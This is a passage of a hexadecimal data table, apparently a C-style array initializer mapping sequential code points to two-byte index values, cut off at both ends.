0x1D, 0xA8, 0xbb, 0x18, +0x00, 0x1D, 0xA9, 0xbc, 0x18, +0x00, 0x1D, 0xAA, 0xbd, 0x18, +0x00, 0x1D, 0xAB, 0xbe, 0x18, +0x00, 0x1D, 0xAC, 0xbf, 0x18, +0x00, 0x1D, 0xAD, 0xc0, 0x18, +0x00, 0x1D, 0xAE, 0xc1, 0x18, +0x00, 0x1D, 0xAF, 0x69, 0x01, +0x00, 0x1D, 0xB0, 0xc2, 0x18, +0x00, 0x1D, 0xB1, 0xc3, 0x18, +0x00, 0x1D, 0xB2, 0xc4, 0x18, +0x00, 0x1D, 0xB3, 0xa5, 0x17, +0x00, 0x1D, 0xB4, 0xc5, 0x18, +0x00, 0x1D, 0xB5, 0x08, 0x05, +0x00, 0x1D, 0xB6, 0xc6, 0x18, +0x00, 0x1D, 0xB7, 0xc7, 0x18, +0x00, 0x1D, 0xB8, 0xc8, 0x18, +0x00, 0x1D, 0xB9, 0xc9, 0x18, +0x00, 0x1D, 0xBA, 0x34, 0x01, +0x00, 0x1D, 0xBB, 0x08, 0x0c, +0x00, 0x1D, 0xBC, 0xc5, 0x08, +0x00, 0x1D, 0xBD, 0xca, 0x18, +0x00, 0x1D, 0xBE, 0xb9, 0x00, +0x00, 0x1D, 0xBF, 0xcb, 0x18, +0x00, 0x1D, 0xC0, 0xcc, 0x18, +0x00, 0x1D, 0xC1, 0xcd, 0x18, +0x00, 0x1D, 0xC2, 0xce, 0x18, +0x00, 0x1D, 0xC3, 0xcf, 0x18, +0x00, 0x1D, 0xC4, 0xd0, 0x18, +0x00, 0x1D, 0xC5, 0xd1, 0x18, +0x00, 0x1D, 0xC6, 0xd2, 0x18, +0x00, 0x1D, 0xC7, 0x70, 0x02, +0x00, 0x1D, 0xC8, 0xd3, 0x18, +0x00, 0x1D, 0xC9, 0xd4, 0x18, +0x00, 0x1D, 0xCA, 0xd5, 0x18, +0x00, 0x1D, 0xCB, 0xd6, 0x18, +0x00, 0x1D, 0xCC, 0xd7, 0x18, +0x00, 0x1D, 0xCD, 0xb9, 0x00, +0x00, 0x1D, 0xCE, 0xb9, 0x00, +0x00, 0x1D, 0xCF, 0xb9, 0x00, +0x00, 0x1D, 0xD0, 0xb9, 0x00, +0x00, 0x1D, 0xD1, 0xb9, 0x00, +0x00, 0x1D, 0xD2, 0xb9, 0x00, +0x00, 0x1D, 0xD3, 0xb9, 0x00, +0x00, 0x1D, 0xD4, 0xb9, 0x00, +0x00, 0x1D, 0xD5, 0xb9, 0x00, +0x00, 0x1D, 0xD6, 0xb9, 0x00, +0x00, 0x1D, 0xD7, 0xd8, 0x18, +0x00, 0x1D, 0xD8, 0xb4, 0x03, +0x00, 0x1D, 0xD9, 0xe3, 0x11, +0x00, 0x1D, 0xDA, 0xd9, 0x18, +0x00, 0x1D, 0xDB, 0xda, 0x18, +0x00, 0x1D, 0xDC, 0x10, 0x0e, +0x00, 0x1D, 0xDD, 0xdb, 0x18, +0x00, 0x1D, 0xDE, 0x27, 0x07, +0x00, 0x1D, 0xDF, 0xdc, 0x18, +0x00, 0x1D, 0xE0, 0x80, 0x10, +0x00, 0x1D, 0xE1, 0x80, 0x10, +0x00, 0x1D, 0xE2, 0xdd, 0x18, +0x00, 0x1D, 0xE3, 0xde, 0x18, +0x00, 0x1D, 0xE4, 0xc3, 0x17, +0x00, 0x1D, 0xE5, 0x05, 0x00, +0x00, 0x1D, 0xE6, 0x05, 0x00, +0x00, 0x1D, 0xE7, 0xdf, 0x18, +0x00, 0x1D, 0xE8, 0xe0, 0x18, +0x00, 0x1D, 0xE9, 0xb9, 0x02, +0x00, 0x1D, 0xEA, 0xe1, 0x18, +0x00, 0x1D, 0xEB, 0xe2, 0x18, +0x00, 0x1D, 0xEC, 0xe3, 0x18, +0x00, 0x1D, 0xED, 0xe4, 0x18, +0x00, 0x1D, 0xEE, 0xe5, 0x18, +0x00, 0x1D, 0xEF, 0xe6, 0x18, +0x00, 0x1D, 0xF0, 0xe7, 0x18, +0x00, 0x1D, 0xF1, 0xe8, 0x18, +0x00, 0x1D, 0xF2, 0xe9, 0x18, +0x00, 0x1D, 0xF3, 0xea, 0x18, +0x00, 0x1D, 0xF4, 0xeb, 0x18, +0x00, 0x1D, 0xF5, 0xec, 0x18, +0x00, 0x1D, 0xF6, 0x4f, 0x02, +0x00, 0x1D, 0xF7, 0xed, 0x18, +0x00, 0x1D, 0xF8, 0xee, 0x18, +0x00, 0x1D, 0xF9, 0xef, 0x18, +0x00, 0x1D, 0xFA, 0xf0, 0x18, +0x00, 0x1D, 0xFB, 0xf1, 0x18, +0x00, 0x1D, 0xFC, 0xf2, 0x18, +0x00, 0x1D, 0xFD, 0xb9, 0x02, +0x00, 0x1D, 0xFE, 0x32, 0x07, +0x00, 0x1D, 0xFF, 0xbb, 0x14, +0x00, 0x1E, 0x00, 0xf3, 0x18, +0x00, 0x1E, 0x01, 0xf4, 0x18, +0x00, 0x1E, 0x02, 0xf5, 0x18, +0x00, 0x1E, 0x03, 0xf6, 0x18, +0x00, 0x1E, 0x04, 0xf7, 0x18, +0x00, 0x1E, 0x05, 0xf8, 0x18, +0x00, 0x1E, 0x06, 0xf9, 0x18, +0x00, 0x1E, 0x07, 0xfa, 0x18, +0x00, 0x1E, 0x08, 0xfb, 0x18, +0x00, 0x1E, 0x09, 0xfc, 0x18, +0x00, 0x1E, 0x0A, 0xfd, 0x18, +0x00, 0x1E, 0x0B, 0xc9, 0x01, +0x00, 0x1E, 0x0C, 0xfe, 0x18, +0x00, 0x1E, 0x0D, 0xff, 0x18, +0x00, 0x1E, 0x0E, 0x00, 0x19, +0x00, 0x1E, 0x0F, 0x01, 0x19, +0x00, 0x1E, 0x10, 0xda, 0x14, +0x00, 0x1E, 0x11, 0x02, 0x19, +0x00, 0x1E, 0x12, 0x03, 0x19, +0x00, 0x1E, 0x13, 0x05, 0x00, +0x00, 0x1E, 0x14, 0x05, 0x00, +0x00, 0x1E, 0x15, 0x04, 0x19, +0x00, 0x1E, 0x16, 0x05, 0x19, +0x00, 0x1E, 0x17, 0x06, 0x19, +0x00, 0x1E, 0x18, 0x07, 0x19, +0x00, 0x1E, 0x19, 0x08, 0x19, +0x00, 0x1E, 0x1A, 0x09, 0x19, +0x00, 0x1E, 0x1B, 0x54, 0x18, +0x00, 0x1E, 0x1C, 0x0a, 0x19, +0x00, 0x1E, 0x1D, 0x0b, 0x19, +0x00, 0x1E, 0x1E, 0xc2, 0x05, +0x00, 0x1E, 0x1F, 0x69, 0x01, +0x00, 0x1E, 0x20, 0x0c, 0x19, +0x00, 0x1E, 0x21, 0x5b, 0x03, +0x00, 0x1E, 0x22, 0x0d, 0x19, +0x00, 0x1E, 0x23, 0x38, 0x05, +0x00, 0x1E, 0x24, 0x27, 0x07, +0x00, 0x1E, 0x25, 0x0e, 0x19, +0x00, 0x1E, 0x26, 0x0f, 0x19, +0x00, 0x1E, 0x27, 0x10, 0x19, +0x00, 0x1E, 0x28, 0x11, 0x19, +0x00, 0x1E, 0x29, 0x12, 0x19, +0x00, 0x1E, 0x2A, 0x68, 0x08, +0x00, 0x1E, 0x2B, 0x13, 0x19, +0x00, 0x1E, 0x2C, 0x14, 0x19, +0x00, 0x1E, 0x2D, 0x15, 0x19, +0x00, 0x1E, 0x2E, 0x16, 0x19, +0x00, 0x1E, 0x2F, 0x17, 0x19, +0x00, 0x1E, 0x30, 0x18, 0x19, +0x00, 0x1E, 0x31, 0x19, 0x19, +0x00, 0x1E, 0x32, 0x1a, 0x19, +0x00, 0x1E, 0x33, 0x49, 0x08, +0x00, 0x1E, 0x34, 0x1b, 0x19, +0x00, 0x1E, 0x35, 0xc5, 0x08, +0x00, 0x1E, 0x36, 0x1c, 0x19, +0x00, 0x1E, 0x37, 0x0a, 0x01, +0x00, 0x1E, 0x38, 0x1d, 0x19, +0x00, 0x1E, 0x39, 0x1e, 0x19, +0x00, 0x1E, 0x3A, 0xb9, 0x02, +0x00, 0x1E, 0x3B, 0xb9, 0x02, +0x00, 0x1E, 0x3C, 0x1f, 0x19, +0x00, 0x1E, 0x3D, 0x93, 0x02, +0x00, 0x1E, 0x3E, 0x20, 0x19, +0x00, 0x1E, 0x3F, 0x21, 0x19, +0x00, 0x1E, 0x40, 0x0e, 0x03, +0x00, 0x1E, 0x41, 0xb6, 0x05, +0x00, 0x1E, 0x42, 0x22, 0x19, +0x00, 0x1E, 0x43, 0x23, 0x19, +0x00, 0x1E, 0x44, 0x24, 0x19, +0x00, 0x1E, 0x45, 0xbe, 0x09, +0x00, 0x1E, 0x46, 0xb9, 0x00, +0x00, 0x1E, 0x47, 0x25, 0x19, +0x00, 0x1E, 0x48, 0x26, 0x19, +0x00, 0x1E, 0x49, 0x05, 0x00, +0x00, 0x1E, 0x4A, 0x05, 0x00, +0x00, 0x1E, 0x4B, 0x27, 0x19, +0x00, 0x1E, 0x4C, 0xe3, 0x11, +0x00, 0x1E, 0x4D, 0x28, 0x19, +0x00, 0x1E, 0x4E, 0x29, 0x19, +0x00, 0x1E, 0x4F, 0xd1, 0x05, +0x00, 0x1E, 0x50, 0x2a, 0x19, +0x00, 0x1E, 0x51, 0x2b, 0x19, +0x00, 0x1E, 0x52, 0x51, 0x03, +0x00, 0x1E, 0x53, 0x2c, 0x19, +0x00, 0x1E, 0x54, 0x2d, 0x19, +0x00, 0x1E, 0x55, 0x2e, 0x19, +0x00, 0x1E, 0x56, 0x2f, 0x19, +0x00, 0x1E, 0x57, 0x30, 0x19, +0x00, 0x1E, 0x58, 0xe8, 0x04, +0x00, 0x1E, 0x59, 0x31, 0x19, +0x00, 0x1E, 0x5A, 0xb9, 0x00, +0x00, 0x1E, 0x5B, 0x32, 0x19, +0x00, 0x1E, 0x5C, 0x33, 0x19, +0x00, 0x1E, 0x5D, 0x34, 0x19, +0x00, 0x1E, 0x5E, 0x35, 0x19, +0x00, 0x1E, 0x5F, 0x36, 0x19, +0x00, 0x1E, 0x60, 0x25, 0x10, +0x00, 0x1E, 0x61, 0x37, 0x19, +0x00, 0x1E, 0x62, 0x38, 0x19, +0x00, 0x1E, 0x63, 0x39, 0x19, +0x00, 0x1E, 0x64, 0x80, 0x10, +0x00, 0x1E, 0x65, 0x80, 0x10, +0x00, 0x1E, 0x66, 0x3a, 0x19, +0x00, 0x1E, 0x67, 0x80, 0x10, +0x00, 0x1E, 0x68, 0x20, 0x13, +0x00, 0x1E, 0x69, 0x17, 0x07, +0x00, 0x1E, 0x6A, 0xe2, 0x02, +0x00, 0x1E, 0x6B, 0xc4, 0x14, +0x00, 0x1E, 0x6C, 0x3b, 0x19, +0x00, 0x1E, 0x6D, 0x3c, 0x19, +0x00, 0x1E, 0x6E, 0xe9, 0x01, +0x00, 0x1E, 0x6F, 0x3d, 0x19, +0x00, 0x1E, 0x70, 0x3e, 0x19, +0x00, 0x1E, 0x71, 0x3f, 0x19, +0x00, 0x1E, 0x72, 0x40, 0x19, +0x00, 0x1E, 0x73, 0xe1, 0x12, +0x00, 0x1E, 0x74, 0xc4, 0x0c, +0x00, 0x1E, 0x75, 0xce, 0x17, +0x00, 0x1E, 0x76, 0x41, 0x19, +0x00, 0x1E, 0x77, 0x42, 0x19, +0x00, 0x1E, 0x78, 0x43, 0x19, +0x00, 0x1E, 0x79, 0x05, 0x00, +0x00, 0x1E, 0x7A, 0x05, 0x00, +0x00, 0x1E, 0x7B, 0x44, 0x19, +0x00, 0x1E, 0x7C, 0x45, 0x19, +0x00, 0x1E, 0x7D, 0x4f, 0x02, +0x00, 0x1E, 0x7E, 0x69, 0x01, +0x00, 0x1E, 0x7F, 0x46, 0x19, +0x00, 0x1E, 0x80, 0x47, 0x19, +0x00, 0x1E, 0x81, 0x48, 0x19, +0x00, 0x1E, 0x82, 0xf4, 0x16, +0x00, 0x1E, 0x83, 0x49, 0x19, +0x00, 0x1E, 0x84, 0x4a, 0x19, +0x00, 0x1E, 0x85, 0x4b, 0x19, +0x00, 0x1E, 0x86, 0x4c, 0x19, +0x00, 0x1E, 0x87, 0x4d, 0x19, +0x00, 0x1E, 0x88, 0x4e, 0x19, +0x00, 0x1E, 0x89, 0x4f, 0x19, +0x00, 0x1E, 0x8A, 0x50, 0x19, +0x00, 0x1E, 0x8B, 0x51, 0x19, +0x00, 0x1E, 0x8C, 0x20, 0x0b, +0x00, 0x1E, 0x8D, 0xb9, 0x00, +0x00, 0x1E, 0x8E, 0x52, 0x19, +0x00, 0x1E, 0x8F, 0x7d, 0x00, +0x00, 0x1E, 0x90, 0xee, 0x06, +0x00, 0x1E, 0x91, 0x53, 0x19, +0x00, 0x1E, 0x92, 0x54, 0x19, +0x00, 0x1E, 0x93, 0x55, 0x19, +0x00, 0x1E, 0x94, 0x56, 0x19, +0x00, 0x1E, 0x95, 0x57, 0x19, +0x00, 0x1E, 0x96, 0x58, 0x19, +0x00, 0x1E, 0x97, 0x59, 0x19, +0x00, 0x1E, 0x98, 0x5a, 0x19, +0x00, 0x1E, 0x99, 0x5b, 0x19, +0x00, 0x1E, 0x9A, 0x5c, 0x19, +0x00, 0x1E, 0x9B, 0x5d, 0x19, +0x00, 0x1E, 0x9C, 0x5e, 0x19, +0x00, 0x1E, 0x9D, 0x5f, 0x19, +0x00, 0x1E, 0x9E, 0x60, 0x19, +0x00, 0x1E, 0x9F, 0xc3, 0x17, +0x00, 0x1E, 0xA0, 0x61, 0x19, +0x00, 0x1E, 0xA1, 0x62, 0x19, +0x00, 0x1E, 0xA2, 0x63, 0x19, +0x00, 0x1E, 0xA3, 0xb9, 0x02, +0x00, 0x1E, 0xA4, 0xb9, 0x02, +0x00, 0x1E, 0xA5, 0x64, 0x19, +0x00, 0x1E, 0xA6, 0x65, 0x19, +0x00, 0x1E, 0xA7, 0xe7, 0x0d, +0x00, 0x1E, 0xA8, 0x66, 0x19, +0x00, 0x1E, 0xA9, 0xc5, 0x08, +0x00, 0x1E, 0xAA, 0x67, 0x19, +0x00, 0x1E, 0xAB, 0x68, 0x19, +0x00, 0x1E, 0xAC, 0x69, 0x19, +0x00, 0x1E, 0xAD, 0x6a, 0x19, +0x00, 0x1E, 0xAE, 0x6b, 0x19, +0x00, 0x1E, 0xAF, 0x6c, 0x19, +0x00, 0x1E, 0xB0, 0x6d, 0x19, +0x00, 0x1E, 0xB1, 0x6e, 0x19, +0x00, 0x1E, 0xB2, 0x49, 0x05, +0x00, 0x1E, 0xB3, 0x6f, 0x19, +0x00, 0x1E, 0xB4, 0x70, 0x19, +0x00, 0x1E, 0xB5, 0x71, 0x19, +0x00, 0x1E, 0xB6, 0x72, 0x19, +0x00, 0x1E, 0xB7, 0x73, 0x19, +0x00, 0x1E, 0xB8, 0x74, 0x19, +0x00, 0x1E, 0xB9, 0x75, 0x19, +0x00, 0x1E, 0xBA, 0x76, 0x19, +0x00, 0x1E, 0xBB, 0x77, 0x19, +0x00, 0x1E, 0xBC, 0x78, 0x19, +0x00, 0x1E, 0xBD, 0x05, 0x00, +0x00, 0x1E, 0xBE, 0x05, 0x00, +0x00, 0x1E, 0xBF, 0x79, 0x19, +0x00, 0x1E, 0xC0, 0x47, 0x04, +0x00, 0x1E, 0xC1, 0xc0, 0x03, +0x00, 0x1E, 0xC2, 0x51, 0x03, +0x00, 0x1E, 0xC3, 0x7a, 0x19, +0x00, 0x1E, 0xC4, 0x7b, 0x19, +0x00, 0x1E, 0xC5, 0x7c, 0x19, +0x00, 0x1E, 0xC6, 0x7d, 0x19, +0x00, 0x1E, 0xC7, 0x02, 0x0c, +0x00, 0x1E, 0xC8, 0x7e, 0x19, +0x00, 0x1E, 0xC9, 0xd1, 0x05, +0x00, 0x1E, 0xCA, 0x69, 0x01, +0x00, 0x1E, 0xCB, 0x7f, 0x19, +0x00, 0x1E, 0xCC, 0x80, 0x19, +0x00, 0x1E, 0xCD, 0x81, 0x19, +0x00, 0x1E, 0xCE, 0x82, 0x19, +0x00, 0x1E, 0xCF, 0x83, 0x19, +0x00, 0x1E, 0xD0, 0x84, 0x19, +0x00, 0x1E, 0xD1, 0x85, 0x19, +0x00, 0x1E, 0xD2, 0x86, 0x19, +0x00, 0x1E, 0xD3, 0x87, 0x19, +0x00, 0x1E, 0xD4, 0x88, 0x19, +0x00, 0x1E, 0xD5, 0x89, 0x19, +0x00, 0x1E, 0xD6, 0x8a, 0x19, +0x00, 0x1E, 0xD7, 0x8b, 0x19, +0x00, 0x1E, 0xD8, 0x8c, 0x19, +0x00, 0x1E, 0xD9, 0xb2, 0x00, +0x00, 0x1E, 0xDA, 0x8d, 0x19, +0x00, 0x1E, 0xDB, 0x8e, 0x19, +0x00, 0x1E, 0xDC, 0xbe, 0x09, +0x00, 0x1E, 0xDD, 0x8f, 0x19, +0x00, 0x1E, 0xDE, 0x90, 0x19, +0x00, 0x1E, 0xDF, 0x91, 0x19, +0x00, 0x1E, 0xE0, 0x92, 0x19, +0x00, 0x1E, 0xE1, 0x4f, 0x02, +0x00, 0x1E, 0xE2, 0x4f, 0x02, +0x00, 0x1E, 0xE3, 0x93, 0x19, +0x00, 0x1E, 0xE4, 0xfd, 0x13, +0x00, 0x1E, 0xE5, 0xf9, 0x0a, +0x00, 0x1E, 0xE6, 0xe9, 0x01, +0x00, 0x1E, 0xE7, 0x94, 0x19, +0x00, 0x1E, 0xE8, 0x95, 0x19, +0x00, 0x1E, 0xE9, 0x96, 0x19, +0x00, 0x1E, 0xEA, 0x97, 0x19, +0x00, 0x1E, 0xEB, 0x98, 0x19, +0x00, 0x1E, 0xEC, 0xe9, 0x16, +0x00, 0x1E, 0xED, 0x99, 0x19, +0x00, 0x1E, 0xEE, 0x9a, 0x19, +0x00, 0x1E, 0xEF, 0x9b, 0x19, +0x00, 0x1E, 0xF0, 0x9c, 0x19, +0x00, 0x1E, 0xF1, 0x9d, 0x19, +0x00, 0x1E, 0xF2, 0x9e, 0x19, +0x00, 0x1E, 0xF3, 0x9f, 0x19, +0x00, 0x1E, 0xF4, 0x70, 0x02, +0x00, 0x1E, 0xF5, 0xa0, 0x19, +0x00, 0x1E, 0xF6, 0x05, 0x00, +0x00, 0x1E, 0xF7, 0x05, 0x00, +0x00, 0x1E, 0xF8, 0xa1, 0x19, +0x00, 0x1E, 0xF9, 0xa2, 0x19, +0x00, 0x1E, 0xFA, 0xa3, 0x19, +0x00, 0x1E, 0xFB, 0xa4, 0x19, +0x00, 0x1E, 0xFC, 0xa5, 0x19, +0x00, 0x1E, 0xFD, 0xa6, 0x19, +0x00, 0x1E, 0xFE, 0xa7, 0x19, +0x00, 0x1E, 0xFF, 0xa8, 0x19, +0x00, 0x1F, 0x00, 0xb9, 0x02, +0x00, 0x1F, 0x01, 0xb9, 0x02, +0x00, 0x1F, 0x02, 0xa9, 0x19, +0x00, 0x1F, 0x03, 0xaa, 0x19, +0x00, 0x1F, 0x04, 0xab, 0x19, +0x00, 0x1F, 0x05, 0xac, 0x19, +0x00, 0x1F, 0x06, 0xd5, 0x00, +0x00, 0x1F, 0x07, 0xad, 0x19, +0x00, 0x1F, 0x08, 0xae, 0x19, +0x00, 0x1F, 0x09, 0xaf, 0x19, +0x00, 0x1F, 0x0A, 0x69, 0x01, +0x00, 0x1F, 0x0B, 0x6a, 0x11, +0x00, 0x1F, 0x0C, 0xe9, 0x03, +0x00, 0x1F, 0x0D, 0xb0, 0x19, +0x00, 0x1F, 0x0E, 0xb1, 0x19, +0x00, 0x1F, 0x0F, 0xb2, 0x19, +0x00, 0x1F, 0x10, 0xb3, 0x19, +0x00, 0x1F, 0x11, 0xb4, 0x19, +0x00, 0x1F, 0x12, 0x08, 0x05, +0x00, 0x1F, 0x13, 0xb5, 0x19, +0x00, 0x1F, 0x14, 0xb6, 0x19, +0x00, 0x1F, 0x15, 0xb7, 0x19, +0x00, 0x1F, 0x16, 0xc9, 0x09, +0x00, 0x1F, 0x17, 0xb8, 0x19, +0x00, 0x1F, 0x18, 0xb9, 0x19, +0x00, 0x1F, 0x19, 0xba, 0x19, +0x00, 0x1F, 0x1A, 0xbb, 0x19, +0x00, 0x1F, 0x1B, 0xbc, 0x19, +0x00, 0x1F, 0x1C, 0xbd, 0x19, +0x00, 0x1F, 0x1D, 0xbe, 0x19, +0x00, 0x1F, 0x1E, 0xbf, 0x19, +0x00, 0x1F, 0x1F, 0x9f, 0x0c, +0x00, 0x1F, 0x20, 0xc0, 0x19, +0x00, 0x1F, 0x21, 0xc1, 0x19, +0x00, 0x1F, 0x22, 0x23, 0x06, +0x00, 0x1F, 0x23, 0xc2, 0x19, +0x00, 0x1F, 0x24, 0xc3, 0x19, +0x00, 0x1F, 0x25, 0xc4, 0x19, +0x00, 0x1F, 0x26, 0x05, 0x00, +0x00, 0x1F, 0x27, 0x05, 0x00, +0x00, 0x1F, 0x28, 0xa5, 0x17, +0x00, 0x1F, 0x29, 0xc9, 0x01, +0x00, 0x1F, 0x2A, 0xc5, 0x19, +0x00, 0x1F, 0x2B, 0xc6, 0x19, +0x00, 0x1F, 0x2C, 0xc7, 0x19, +0x00, 0x1F, 0x2D, 0xc8, 0x19, +0x00, 0x1F, 0x2E, 0xc9, 0x19, +0x00, 0x1F, 0x2F, 0xca, 0x19, +0x00, 0x1F, 0x30, 0xcb, 0x19, +0x00, 0x1F, 0x31, 0xe6, 0x14, +0x00, 0x1F, 0x32, 0xc5, 0x08, +0x00, 0x1F, 0x33, 0x68, 0x08, +0x00, 0x1F, 0x34, 0xcc, 0x19, +0x00, 0x1F, 0x35, 0xcd, 0x19, +0x00, 0x1F, 0x36, 0xce, 0x19, +0x00, 0x1F, 0x37, 0xcf, 0x19, +0x00, 0x1F, 0x38, 0x7c, 0x0b, +0x00, 0x1F, 0x39, 0xd0, 0x19, +0x00, 0x1F, 0x3A, 0xe3, 0x11, +0x00, 0x1F, 0x3B, 0x80, 0x10, +0x00, 0x1F, 0x3C, 0x80, 0x10, +0x00, 0x1F, 0x3D, 0xd1, 0x19, +0x00, 0x1F, 0x3E, 0xd2, 0x19, +0x00, 0x1F, 0x3F, 0xc3, 0x03, +0x00, 0x1F, 0x40, 0xd3, 0x19, +0x00, 0x1F, 0x41, 0x02, 0x11, +0x00, 0x1F, 0x42, 0xd4, 0x19, +0x00, 0x1F, 0x43, 0xd5, 0x19, +0x00, 0x1F, 0x44, 0xd6, 0x19, +0x00, 0x1F, 0x45, 0xd6, 0x01, +0x00, 0x1F, 0x46, 0x69, 0x01, +0x00, 0x1F, 0x47, 0xd7, 0x19, +0x00, 0x1F, 0x48, 0xd8, 0x19, +0x00, 0x1F, 0x49, 0xd9, 0x19, +0x00, 0x1F, 0x4A, 0xda, 0x19, +0x00, 0x1F, 0x4B, 0xdb, 0x19, +0x00, 0x1F, 0x4C, 0xdc, 0x19, +0x00, 0x1F, 0x4D, 0xdd, 0x19, +0x00, 0x1F, 0x4E, 0xde, 0x19, +0x00, 0x1F, 0x4F, 0xdf, 0x19, +0x00, 0x1F, 0x50, 0xe0, 0x19, +0x00, 0x1F, 0x51, 0xe1, 0x19, +0x00, 0x1F, 0x52, 0xe2, 0x19, +0x00, 0x1F, 0x53, 0xe3, 0x19, +0x00, 0x1F, 0x54, 0xe4, 0x19, +0x00, 0x1F, 0x55, 0xc2, 0x05, +0x00, 0x1F, 0x56, 0x53, 0x04, +0x00, 0x1F, 0x57, 0xe5, 0x19, +0x00, 0x1F, 0x58, 0xe6, 0x19, +0x00, 0x1F, 0x59, 0xe7, 0x19, +0x00, 0x1F, 0x5A, 0xe8, 0x19, +0x00, 0x1F, 0x5B, 0x51, 0x03, +0x00, 0x1F, 0x5C, 0xb9, 0x02, +0x00, 0x1F, 0x5D, 0xb9, 0x02, +0x00, 0x1F, 0x5E, 0xe9, 0x19, +0x00, 0x1F, 0x5F, 0xea, 0x19, +0x00, 0x1F, 0x60, 0xeb, 0x19, +0x00, 0x1F, 0x61, 0xec, 0x19, +0x00, 0x1F, 0x62, 0xed, 0x19, +0x00, 0x1F, 0x63, 0xee, 0x19, +0x00, 0x1F, 0x64, 0xef, 0x19, +0x00, 0x1F, 0x65, 0x43, 0x16, +0x00, 0x1F, 0x66, 0xf0, 0x19, +0x00, 0x1F, 0x67, 0x7f, 0x00, +0x00, 0x1F, 0x68, 0xf1, 0x19, +0x00, 0x1F, 0x69, 0xf2, 0x19, +0x00, 0x1F, 0x6A, 0xf3, 0x19, +0x00, 0x1F, 0x6B, 0xce, 0x17, +0x00, 0x1F, 0x6C, 0x05, 0x00, +0x00, 0x1F, 0x6D, 0x05, 0x00, +0x00, 0x1F, 0x6E, 0x71, 0x0f, +0x00, 0x1F, 0x6F, 0xf4, 0x19, +0x00, 0x1F, 0x70, 0xf5, 0x19, +0x00, 0x1F, 0x71, 0xf6, 0x19, +0x00, 0x1F, 0x72, 0xf7, 0x19, +0x00, 0x1F, 0x73, 0xf8, 0x19, +0x00, 0x1F, 0x74, 0xf9, 0x19, +0x00, 0x1F, 0x75, 0xfa, 0x19, +0x00, 0x1F, 0x76, 0x00, 0x0a, +0x00, 0x1F, 0x77, 0xfb, 0x19, +0x00, 0x1F, 0x78, 0xfc, 0x19, +0x00, 0x1F, 0x79, 0xfd, 0x19, +0x00, 0x1F, 0x7A, 0xfe, 0x19, +0x00, 0x1F, 0x7B, 0xff, 0x19, +0x00, 0x1F, 0x7C, 0x00, 0x1a, +0x00, 0x1F, 0x7D, 0xd0, 0x06, +0x00, 0x1F, 0x7E, 0xb9, 0x00, +0x00, 0x1F, 0x7F, 0x01, 0x1a, +0x00, 0x1F, 0x80, 0x02, 0x1a, +0x00, 0x1F, 0x81, 0x03, 0x1a, +0x00, 0x1F, 0x82, 0x09, 0x0a, +0x00, 0x1F, 0x83, 0x04, 0x1a, +0x00, 0x1F, 0x84, 0x05, 0x1a, +0x00, 0x1F, 0x85, 0x06, 0x1a, +0x00, 0x1F, 0x86, 0x07, 0x1a, +0x00, 0x1F, 0x87, 0x08, 0x1a, +0x00, 0x1F, 0x88, 0x09, 0x1a, +0x00, 0x1F, 0x89, 0x0a, 0x1a, +0x00, 0x1F, 0x8A, 0x0b, 0x1a, +0x00, 0x1F, 0x8B, 0x0c, 0x1a, +0x00, 0x1F, 0x8C, 0x0d, 0x1a, +0x00, 0x1F, 0x8D, 0x0e, 0x1a, +0x00, 0x1F, 0x8E, 0x0f, 0x1a, +0x00, 0x1F, 0x8F, 0x0e, 0x03, +0x00, 0x1F, 0x90, 0xe7, 0x0d, +0x00, 0x1F, 0x91, 0x10, 0x1a, +0x00, 0x1F, 0x92, 0xdd, 0x14, +0x00, 0x1F, 0x93, 0x11, 0x1a, +0x00, 0x1F, 0x94, 0x12, 0x1a, +0x00, 0x1F, 0x95, 0xc4, 0x0c, +0x00, 0x1F, 0x96, 0x13, 0x1a, +0x00, 0x1F, 0x97, 0x14, 0x1a, +0x00, 0x1F, 0x98, 0x15, 0x1a, +0x00, 0x1F, 0x99, 0x16, 0x1a, +0x00, 0x1F, 0x9A, 0x69, 0x01, +0x00, 0x1F, 0x9B, 0x17, 0x1a, +0x00, 0x1F, 0x9C, 0x18, 0x1a, +0x00, 0x1F, 0x9D, 0x05, 0x00, +0x00, 0x1F, 0x9E, 0x05, 0x00, +0x00, 0x1F, 0x9F, 0xbc, 0x0c, +0x00, 0x1F, 0xA0, 0x19, 0x1a, +0x00, 0x1F, 0xA1, 0x1a, 0x1a, +0x00, 0x1F, 0xA2, 0x1b, 0x1a, +0x00, 0x1F, 0xA3, 0x93, 0x19, +0x00, 0x1F, 0xA4, 0xe9, 0x01, +0x00, 0x1F, 0xA5, 0x1c, 0x1a, +0x00, 0x1F, 0xA6, 0x1d, 0x1a, +0x00, 0x1F, 0xA7, 0xd3, 0x03, +0x00, 0x1F, 0xA8, 0x1e, 0x1a, +0x00, 0x1F, 0xA9, 0x1f, 0x1a, +0x00, 0x1F, 0xAA, 0x20, 0x1a, +0x00, 0x1F, 0xAB, 0x21, 0x1a, +0x00, 0x1F, 0xAC, 0x22, 0x1a, +0x00, 0x1F, 0xAD, 0x23, 0x1a, +0x00, 0x1F, 0xAE, 0x24, 0x1a, +0x00, 0x1F, 0xAF, 0x25, 0x1a, +0x00, 0x1F, 0xB0, 0x26, 0x1a, +0x00, 0x1F, 0xB1, 0x47, 0x18, +0x00, 0x1F, 0xB2, 0x27, 0x1a, +0x00, 0x1F, 0xB3, 0x02, 0x0c, +0x00, 0x1F, 0xB4, 0x28, 0x1a, +0x00, 0x1F, 0xB5, 0x29, 0x1a, +0x00, 0x1F, 0xB6, 0x2a, 0x1a, +0x00, 0x1F, 0xB7, 0x2b, 0x1a, +0x00, 0x1F, 0xB8, 0x0a, 0x01, +0x00, 0x1F, 0xB9, 0x2c, 0x1a, +0x00, 0x1F, 0xBA, 0x2d, 0x1a, +0x00, 0x1F, 0xBB, 0x2e, 0x1a, +0x00, 0x1F, 0xBC, 0x2f, 0x1a, +0x00, 0x1F, 0xBD, 0xae, 0x11, +0x00, 0x1F, 0xBE, 0xe9, 0x01, +0x00, 0x1F, 0xBF, 0x30, 0x1a, +0x00, 0x1F, 0xC0, 0x31, 0x1a, +0x00, 0x1F, 0xC1, 0x32, 0x1a, +0x00, 0x1F, 0xC2, 0x33, 0x1a, +0x00, 0x1F, 0xC3, 0x34, 0x1a, +0x00, 0x1F, 0xC4, 0xb9, 0x00, +0x00, 0x1F, 0xC5, 0xc5, 0x08, +0x00, 0x1F, 0xC6, 0x20, 0x0b, +0x00, 0x1F, 0xC7, 0x35, 0x1a, +0x00, 0x1F, 0xC8, 0x36, 0x1a, +0x00, 0x1F, 0xC9, 0x05, 0x00, +0x00, 0x1F, 0xCA, 0x05, 0x00, +0x00, 0x1F, 0xCB, 0x37, 0x1a, +0x00, 0x1F, 0xCC, 0x4f, 0x02, 